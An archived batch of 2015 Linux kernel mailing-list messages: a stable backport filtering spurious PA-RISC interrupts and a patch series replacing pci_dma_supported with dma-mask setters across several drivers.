Path: news.gmane.org!not-for-mail
From: Luis Henriques <luis.henriques@canonical.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ubuntu.devel.kernel.general,gmane.linux.ports.parisc
Subject: [PATCH 3.16.y-ckt 133/133] parisc: Filter out spurious interrupts in PA-RISC irq handler
Date: Wed, 30 Sep 2015 10:51:21 +0100
Lines: 80
Approved: news@gmane.org
Message-ID: <1443606681-7124-134-git-send-email-luis.henriques@canonical.com>
References: <1443606681-7124-1-git-send-email-luis.henriques@canonical.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443606912 27338 80.91.229.3 (30 Sep 2015 09:55:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 30 Sep 2015 09:55:12 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>,
	Luis Henriques <luis.henriques@canonical.com>
To: linux-kernel@vger.kernel.org, stable@vger.kernel.org,
	kernel-team@lists.ubuntu.com
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 30 11:55:11 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZhE6Q-0005QX-5O
	for glk-linux-kernel-3@plane.gmane.org; Wed, 30 Sep 2015 11:55:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933247AbbI3Jyy (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 30 Sep 2015 05:54:54 -0400
Original-Received: from youngberry.canonical.com ([91.189.89.112]:46857 "EHLO
	youngberry.canonical.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933172AbbI3Jyh (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 30 Sep 2015 05:54:37 -0400
Original-Received: from av-217-129-142-138.netvisao.pt ([217.129.142.138] helo=localhost)
	by youngberry.canonical.com with esmtpsa (TLS1.0:RSA_AES_128_CBC_SHA1:16)
	(Exim 4.76)
	(envelope-from <luis.henriques@canonical.com>)
	id 1ZhE5s-0006DN-JE; Wed, 30 Sep 2015 09:54:36 +0000
X-Mailer: git-send-email 2.1.4
In-Reply-To: <1443606681-7124-1-git-send-email-luis.henriques@canonical.com>
X-Extended-Stable: 3.16
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2050247 gmane.linux.kernel.stable:150864 gmane.linux.ubuntu.devel.kernel.general:62818 gmane.linux.ports.parisc:26054
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2050247>

3.16.7-ckt18 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: Helge Deller <deller@gmx.de>

commit b1b4e435e4ef7de77f07bf2a42c8380b960c2d44 upstream.

When detecting a serial port on newer PA-RISC machines (with iosapic) we have a
long way to go to find the right IRQ line, registering it, then registering the
serial port and the irq handler for the serial port. During this phase spurious
interrupts for the serial port may happen which then crashes the kernel because
the action handler might not have been set up yet.

So, basically it's a race condition between the serial port hardware and the
CPU which sets up the necessary fields in the irq sructs. The main reason for
this race is, that we unmask the serial port irqs too early without having set
up everything properly before (which isn't easily possible because we need the
IRQ number to register the serial ports).

This patch is a work-around for this problem. It adds checks to the CPU irq
handler to verify if the IRQ action field has been initialized already. If not,
we just skip this interrupt (which isn't critical for a serial port at bootup).
The real fix would probably involve rewriting all PA-RISC specific IRQ code
(for CPU, IOSAPIC, GSC and EISA) to use IRQ domains with proper parenting of
the irq chips and proper irq enabling along this line.

This bug has been in the PA-RISC port since the beginning, but the crashes
happened very rarely with currently used hardware.  But on the latest machine
which I bought (a C8000 workstation), which uses the fastest CPUs (4 x PA8900,
1GHz) and which has the largest possible L1 cache size (64MB each), the kernel
crashed at every boot because of this race. So, without this patch the machine
would currently be unuseable.

For the record, here is the flow logic:
1. serial_init_chip() in 8250_gsc.c calls iosapic_serial_irq().
2. iosapic_serial_irq() calls txn_alloc_irq() to find the irq.
3. iosapic_serial_irq() calls cpu_claim_irq() to register the CPU irq
4. cpu_claim_irq() unmasks the CPU irq (which it shouldn't!)
5. serial_init_chip() then registers the 8250 port.
Problems:
- In step 4 the CPU irq shouldn't have been registered yet, but after step 5
- If serial irq happens between 4 and 5 have finished, the kernel will crash

Cc: linux-parisc@vger.kernel.org
Signed-off-by: Helge Deller <deller@gmx.de>
[ luis: backported to 3.16: used Helge's backport ]
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 arch/parisc/kernel/irq.c | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index cfe056fe7f5c..34f06be569d9 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -507,8 +507,8 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 	struct pt_regs *old_regs;
 	unsigned long eirr_val;
 	int irq, cpu = smp_processor_id();
-#ifdef CONFIG_SMP
 	struct irq_desc *desc;
+#ifdef CONFIG_SMP
 	cpumask_t dest;
 #endif
 
@@ -521,8 +521,12 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 		goto set_out;
 	irq = eirr_to_irq(eirr_val);
 
-#ifdef CONFIG_SMP
+	/* Filter out spurious interrupts, mostly from serial port at bootup */
 	desc = irq_to_desc(irq);
+	if (unlikely(!desc->action))
+		goto set_out;
+
+#ifdef CONFIG_SMP
 	cpumask_copy(&dest, desc->irq_data.affinity);
 	if (irqd_is_per_cpu(&desc->irq_data) &&
 	    !cpu_isset(smp_processor_id(), dest)) {

From - Thu Nov 08 21:37:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general
Subject: remove dma_supported and pci_dma_supported as public APIs
Date: Sat,  3 Oct 2015 17:19:24 +0200
Lines: 7
Approved: news@gmane.org
Message-ID: <1443885579-7094-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443885842 14356 80.91.229.3 (3 Oct 2015 15:24:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 15:24:02 +0000 (UTC)
Cc: linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 03 17:23:53 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZiOf7-0000HJ-6C
	for glk-linux-kernel-3@plane.gmane.org; Sat, 03 Oct 2015 17:23:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752928AbbJCPXq (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 3 Oct 2015 11:23:46 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51173 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752433AbbJCPXl (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 3 Oct 2015 11:23:41 -0400
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZiOeg-0004Lm-7p; Sat, 03 Oct 2015 15:23:22 +0000
X-Mailer: git-send-email 1.9.1
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2053277 gmane.comp.video.dri.devel:138013 gmane.linux.drivers.video-input-infrastructure:95614 gmane.linux.network:380756 gmane.linux.ports.parisc:26055 gmane.linux.serial:20098 gmane.linux.usb.general:131771
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2053277>

All driver should be using dma_set_mask / pci_set_dma_mask to try
to set the dma mask instead of just querying it.  Without that some
iommu implementations may not work.

pci_dma_supported is removed entirely, but dma_supported stays for
dma_ops implementations for now.


From - Thu Nov 08 21:37:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general
Subject: [PATCH 04/15] saa7134: use pci_set_dma_mask insted of pci_dma_supported
Date: Sat,  3 Oct 2015 17:19:28 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <1443885579-7094-5-git-send-email-hch@lst.de>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443885860 14644 80.91.229.3 (3 Oct 2015 15:24:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 15:24:20 +0000 (UTC)
Cc: linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 03 17:24:19 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZiOfV-0000kj-P1
	for glk-linux-kernel-3@plane.gmane.org; Sat, 03 Oct 2015 17:24:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753003AbbJCPXv (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 3 Oct 2015 11:23:51 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51199 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752933AbbJCPXr (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 3 Oct 2015 11:23:47 -0400
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZiOer-0004ND-LP; Sat, 03 Oct 2015 15:23:34 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1443885579-7094-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2053280 gmane.comp.video.dri.devel:138014 gmane.linux.drivers.video-input-infrastructure:95615 gmane.linux.network:380757 gmane.linux.ports.parisc:26056 gmane.linux.serial:20099 gmane.linux.usb.general:131772
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2053280>

This ensures the dma mask that is supported by the driver is recorded
in the device structure.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/media/pci/saa7134/saa7134-core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/media/pci/saa7134/saa7134-core.c b/drivers/media/pci/saa7134/saa7134-core.c
index 72d7f99..6ba4086 100644
--- a/drivers/media/pci/saa7134/saa7134-core.c
+++ b/drivers/media/pci/saa7134/saa7134-core.c
@@ -949,7 +949,7 @@ static int saa7134_initdev(struct pci_dev *pci_dev,
 	       pci_name(pci_dev), dev->pci_rev, pci_dev->irq,
 	       dev->pci_lat,(unsigned long long)pci_resource_start(pci_dev,0));
 	pci_set_master(pci_dev);
-	if (!pci_dma_supported(pci_dev, DMA_BIT_MASK(32))) {
+	if (!pci_set_dma_mask(pci_dev, DMA_BIT_MASK(32))) {
 		pr_warn("%s: Oops: no 32bit PCI DMA ???\n", dev->name);
 		err = -EIO;
 		goto fail1;
-- 
1.9.1


From - Thu Nov 08 21:37:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.network,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general,gmane.linux.kernel
Subject: [PATCH 07/15] cx23885: use pci_set_dma_mask insted of pci_dma_supported
Date: Sat,  3 Oct 2015 17:19:31 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <1443885579-7094-8-git-send-email-hch@lst.de>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443885871 14733 80.91.229.3 (3 Oct 2015 15:24:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 15:24:31 +0000 (UTC)
Cc: linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>
Original-X-From: netdev-owner@vger.kernel.org Sat Oct 03 17:24:22 2015
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1ZiOfc-0000kj-Nc
	for linux-netdev-2@plane.gmane.org; Sat, 03 Oct 2015 17:24:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753130AbbJCPX7 (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Sat, 3 Oct 2015 11:23:59 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51243 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753005AbbJCPX4 (ORCPT
	<rfc822;netdev@vger.kernel.org>); Sat, 3 Oct 2015 11:23:56 -0400
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZiOf0-0004Pg-8C; Sat, 03 Oct 2015 15:23:42 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1443885579-7094-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:380758 gmane.comp.video.dri.devel:138015 gmane.linux.drivers.video-input-infrastructure:95616 gmane.linux.ports.parisc:26057 gmane.linux.serial:20100 gmane.linux.usb.general:131773 gmane.linux.kernel:2053281
Archived-At: <http://permalink.gmane.org/gmane.linux.network/380758>

This ensures the dma mask that is supported by the driver is recorded
in the device structure.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/media/pci/cx23885/cx23885-core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/media/pci/cx23885/cx23885-core.c b/drivers/media/pci/cx23885/cx23885-core.c
index 7aee76a..8194052 100644
--- a/drivers/media/pci/cx23885/cx23885-core.c
+++ b/drivers/media/pci/cx23885/cx23885-core.c
@@ -1990,7 +1990,7 @@ static int cx23885_initdev(struct pci_dev *pci_dev,
 		(unsigned long long)pci_resource_start(pci_dev, 0));
 
 	pci_set_master(pci_dev);
-	if (!pci_dma_supported(pci_dev, 0xffffffff)) {
+	if (!pci_set_dma_mask(pci_dev, 0xffffffff)) {
 		printk("%s/0: Oops: no 32bit PCI DMA ???\n", dev->name);
 		err = -EIO;
 		goto fail_context;
-- 
1.9.1


From - Thu Nov 08 21:37:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.drivers.video-input-infrastructure,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general,gmane.linux.kernel
Subject: [PATCH 14/15] pci: remove pci_dma_supported
Date: Sat,  3 Oct 2015 17:19:38 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <1443885579-7094-15-git-send-email-hch@lst.de>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443885872 14748 80.91.229.3 (3 Oct 2015 15:24:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 15:24:32 +0000 (UTC)
Cc: linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>
Original-X-From: linux-media-owner@vger.kernel.org Sat Oct 03 17:24:26 2015
Return-path: <linux-media-owner@vger.kernel.org>
Envelope-to: gldv-linux-media@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-media-owner@vger.kernel.org>)
	id 1ZiOfd-0000kj-UG
	for gldv-linux-media@plane.gmane.org; Sat, 03 Oct 2015 17:24:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753255AbbJCPYS (ORCPT <rfc822;gldv-linux-media@m.gmane.org>);
	Sat, 3 Oct 2015 11:24:18 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51350 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753242AbbJCPYQ (ORCPT
	<rfc822;linux-media@vger.kernel.org>); Sat, 3 Oct 2015 11:24:16 -0400
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZiOfK-0004Wv-7g; Sat, 03 Oct 2015 15:24:02 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1443885579-7094-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-media-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-media.vger.kernel.org>
X-Mailing-List: linux-media@vger.kernel.org
Xref: news.gmane.org gmane.linux.drivers.video-input-infrastructure:95617 gmane.comp.video.dri.devel:138016 gmane.linux.network:380759 gmane.linux.ports.parisc:26058 gmane.linux.serial:20101 gmane.linux.usb.general:131774 gmane.linux.kernel:2053282
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.video-input-infrastructure/95617>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/parisc/ccio-dma.c            | 2 --
 include/asm-generic/pci-dma-compat.h | 6 ------
 2 files changed, 8 deletions(-)

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 957b421..8e11fb2 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -704,8 +704,6 @@ ccio_mark_invalid(struct ioc *ioc, dma_addr_t iova, size_t byte_cnt)
  * ccio_dma_supported - Verify the IOMMU supports the DMA address range.
  * @dev: The PCI device.
  * @mask: A bit mask describing the DMA address range of the device.
- *
- * This function implements the pci_dma_supported function.
  */
 static int 
 ccio_dma_supported(struct device *dev, u64 mask)
diff --git a/include/asm-generic/pci-dma-compat.h b/include/asm-generic/pci-dma-compat.h
index c110843..eafce7b 100644
--- a/include/asm-generic/pci-dma-compat.h
+++ b/include/asm-generic/pci-dma-compat.h
@@ -6,12 +6,6 @@
 
 #include <linux/dma-mapping.h>
 
-static inline int
-pci_dma_supported(struct pci_dev *hwdev, u64 mask)
-{
-	return dma_supported(hwdev == NULL ? NULL : &hwdev->dev, mask);
-}
-
 static inline void *
 pci_alloc_consistent(struct pci_dev *hwdev, size_t size,
 		     dma_addr_t *dma_handle)
-- 
1.9.1


From - Thu Nov 08 21:37:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general
Subject: [PATCH 13/15] usbnet: remove ifdefed out call to dma_supported
Date: Sat,  3 Oct 2015 17:19:37 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <1443885579-7094-14-git-send-email-hch@lst.de>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443885875 14786 80.91.229.3 (3 Oct 2015 15:24:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 15:24:35 +0000 (UTC)
Cc: linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 03 17:24:29 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZiOfd-0000kj-Az
	for glk-linux-kernel-3@plane.gmane.org; Sat, 03 Oct 2015 17:24:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753251AbbJCPYM (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 3 Oct 2015 11:24:12 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51341 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752151AbbJCPYD (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 3 Oct 2015 11:24:03 -0400
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZiOfH-0004W9-BN; Sat, 03 Oct 2015 15:23:59 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1443885579-7094-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2053283 gmane.comp.video.dri.devel:138017 gmane.linux.drivers.video-input-infrastructure:95618 gmane.linux.network:380760 gmane.linux.ports.parisc:26059 gmane.linux.serial:20102 gmane.linux.usb.general:131775
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2053283>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/net/usb/usbnet.c | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/drivers/net/usb/usbnet.c b/drivers/net/usb/usbnet.c
index b4cf107..9497d51 100644
--- a/drivers/net/usb/usbnet.c
+++ b/drivers/net/usb/usbnet.c
@@ -1661,12 +1661,6 @@ usbnet_probe (struct usb_interface *udev, const struct usb_device_id *prod)
 	 * bind() should set rx_urb_size in that case.
 	 */
 	dev->hard_mtu = net->mtu + net->hard_header_len;
-#if 0
-// dma_supported() is deeply broken on almost all architectures
-	// possible with some EHCI controllers
-	if (dma_supported (&udev->dev, DMA_BIT_MASK(64)))
-		net->features |= NETIF_F_HIGHDMA;
-#endif
 
 	net->netdev_ops = &usbnet_netdev_ops;
 	net->watchdog_timeo = TX_TIMEOUT_JIFFIES;
-- 
1.9.1


From - Thu Nov 08 21:37:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general
Subject: [PATCH 09/15] mpsc: use dma_set_mask insted of dma_supported
Date: Sat,  3 Oct 2015 17:19:33 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <1443885579-7094-10-git-send-email-hch@lst.de>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443885878 14820 80.91.229.3 (3 Oct 2015 15:24:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 15:24:38 +0000 (UTC)
Cc: linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 03 17:24:26 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZiOfW-0000kj-DT
	for glk-linux-kernel-3@plane.gmane.org; Sat, 03 Oct 2015 17:24:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753070AbbJCPXz (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 3 Oct 2015 11:23:55 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51283 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753005AbbJCPXw (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 3 Oct 2015 11:23:52 -0400
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZiOf6-0004Sr-1G; Sat, 03 Oct 2015 15:23:48 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1443885579-7094-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
